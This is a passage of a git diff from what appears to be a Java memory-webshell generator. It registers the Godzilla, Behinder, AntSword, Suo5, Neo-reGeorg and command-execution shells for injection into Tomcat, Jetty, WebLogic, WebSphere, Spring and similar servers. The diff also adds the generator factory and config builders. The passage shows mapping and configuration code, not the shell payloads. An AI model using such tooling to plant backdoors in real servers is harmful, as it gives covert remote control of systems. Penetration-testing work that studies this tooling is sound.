.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
@@ -185,17 +84,19 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
@@ -203,15 +104,16 @@ public enum Server {
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, AntSwordListener.class)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
@@ -223,30 +125,25 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(PROXY_VALVE, Command.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
@@ -258,11 +155,20 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||
@@ -274,10 +180,69 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
|
||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||
if (serverName == null || serverName.trim().isEmpty()) {
|
||||
throw new IllegalArgumentException("Server name cannot be null or empty.");
|
||||
}
|
||||
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
|
||||
if (existing == null) {
|
||||
servers.add(serverName);
|
||||
}
|
||||
}
|
||||
|
||||
public static AbstractServer getServer(String serverName) {
|
||||
if (serverName == null) {
|
||||
return null;
|
||||
}
|
||||
return instances.computeIfAbsent(serverName, k -> {
|
||||
Supplier<AbstractServer> supplier = registry.get(k);
|
||||
if (supplier == null) {
|
||||
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
|
||||
}
|
||||
return supplier.get();
|
||||
});
|
||||
}
|
||||
|
||||
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
|
||||
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||
|
||||
for (String shellType : injectorSupportedShellTypes) {
|
||||
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||
if (shellClass == null) {
|
||||
continue;
|
||||
}
|
||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||
}
|
||||
ToolMapping mapping = toolMappingBuilder.build();
|
||||
if (mapping.isNotEmpty()) {
|
||||
server.addToolMapping(shellTool, mapping);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getSupportedServers() {
|
||||
return Collections.unmodifiableList(servers);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/11
|
||||
*/
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
public static final String WEBSPHERE = "WebSphere";
|
||||
public static final String SPRING_WEBMVC = "SpringWebMVC";
|
||||
public static final String SPRING_WEBFLUX = "SpringWebFlux";
|
||||
public static final String XXL_JOB = "XXL-JOB";
|
||||
public static final String APUSIC = "Apusic";
|
||||
public static final String BES = "BES";
|
||||
public static final String INFORSUITE = "InforSuite";
|
||||
public static final String PRIMETON = "Primeton";
|
||||
public static final String TONGWEB6 = "TongWeb6";
|
||||
public static final String TONGWEB7 = "TongWeb7";
|
||||
public static final String TONGWEB8 = "TongWeb8";
|
||||
}
|
||||
@@ -2,43 +2,14 @@ package com.reajason.javaweb.memshell;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
* @since 2025/8/22
|
||||
*/
|
||||
public enum ShellTool {
|
||||
/**
|
||||
* 哥斯拉
|
||||
*/
|
||||
Godzilla,
|
||||
|
||||
/**
|
||||
* 冰蝎
|
||||
*/
|
||||
Behinder,
|
||||
|
||||
/**
|
||||
* 蚁剑
|
||||
*/
|
||||
AntSword,
|
||||
|
||||
/**
|
||||
* 命令回显
|
||||
*/
|
||||
Command,
|
||||
|
||||
/**
|
||||
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
||||
*/
|
||||
Suo5,
|
||||
|
||||
/**
|
||||
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
||||
*/
|
||||
NeoreGeorg,
|
||||
|
||||
/**
|
||||
* 自定义
|
||||
*/
|
||||
Custom,
|
||||
|
||||
;
|
||||
public class ShellTool {
|
||||
public static final String Godzilla = "Godzilla";
|
||||
public static final String Behinder = "Behinder";
|
||||
public static final String Command = "Command";
|
||||
public static final String Suo5 = "Suo5";
|
||||
public static final String AntSword = "AntSword";
|
||||
public static final String NeoreGeorg = "NeoreGeorg";
|
||||
public static final String Custom = "Custom";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/08/22
|
||||
*/
|
||||
public class ShellToolFactory {
|
||||
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
||||
|
||||
static {
|
||||
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
}
|
||||
|
||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
||||
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
||||
}
|
||||
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
||||
}
|
||||
|
||||
|
||||
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
try {
|
||||
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
||||
Constructor<? extends ShellGenerator> constructor =
|
||||
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
||||
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
||||
return generator.getBytes();
|
||||
} catch (Exception e) {
|
||||
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -6,40 +6,35 @@ package com.reajason.javaweb.memshell;
|
||||
*/
|
||||
public class ShellType {
|
||||
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||
public static final String FILTER = "Filter";
|
||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||
public static final String LISTENER = "Listener";
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
public static final String AGENT = "Agent";
|
||||
public static final String ASM = "ASM";
|
||||
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
||||
|
||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
||||
|
||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||
|
||||
@@ -1,15 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -20,6 +21,32 @@ public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private Encryptor encryptor = Encryptor.RAW;
|
||||
|
||||
@Builder.Default
|
||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||
|
||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B paramName(String paramName) {
|
||||
if (StringUtils.isNotBlank(paramName)) {
|
||||
paramName$value = paramName;
|
||||
paramName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public enum ImplementationClass {
|
||||
RuntimeExec, ForkAndExec;
|
||||
|
||||
public static ImplementationClass fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||
return ForkAndExec;
|
||||
}
|
||||
return RuntimeExec;
|
||||
}
|
||||
}
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, DOUBLE_BASE64;
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(builderClassName = "GenerateResultBuilder")
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private long shellSize;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
|
||||
public static class GenerateResultBuilder {
|
||||
public GenerateResult build() {
|
||||
if (shellBytes != null) {
|
||||
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||
shellSize = shellBytes.length;
|
||||
}
|
||||
if (injectorBytes != null) {
|
||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
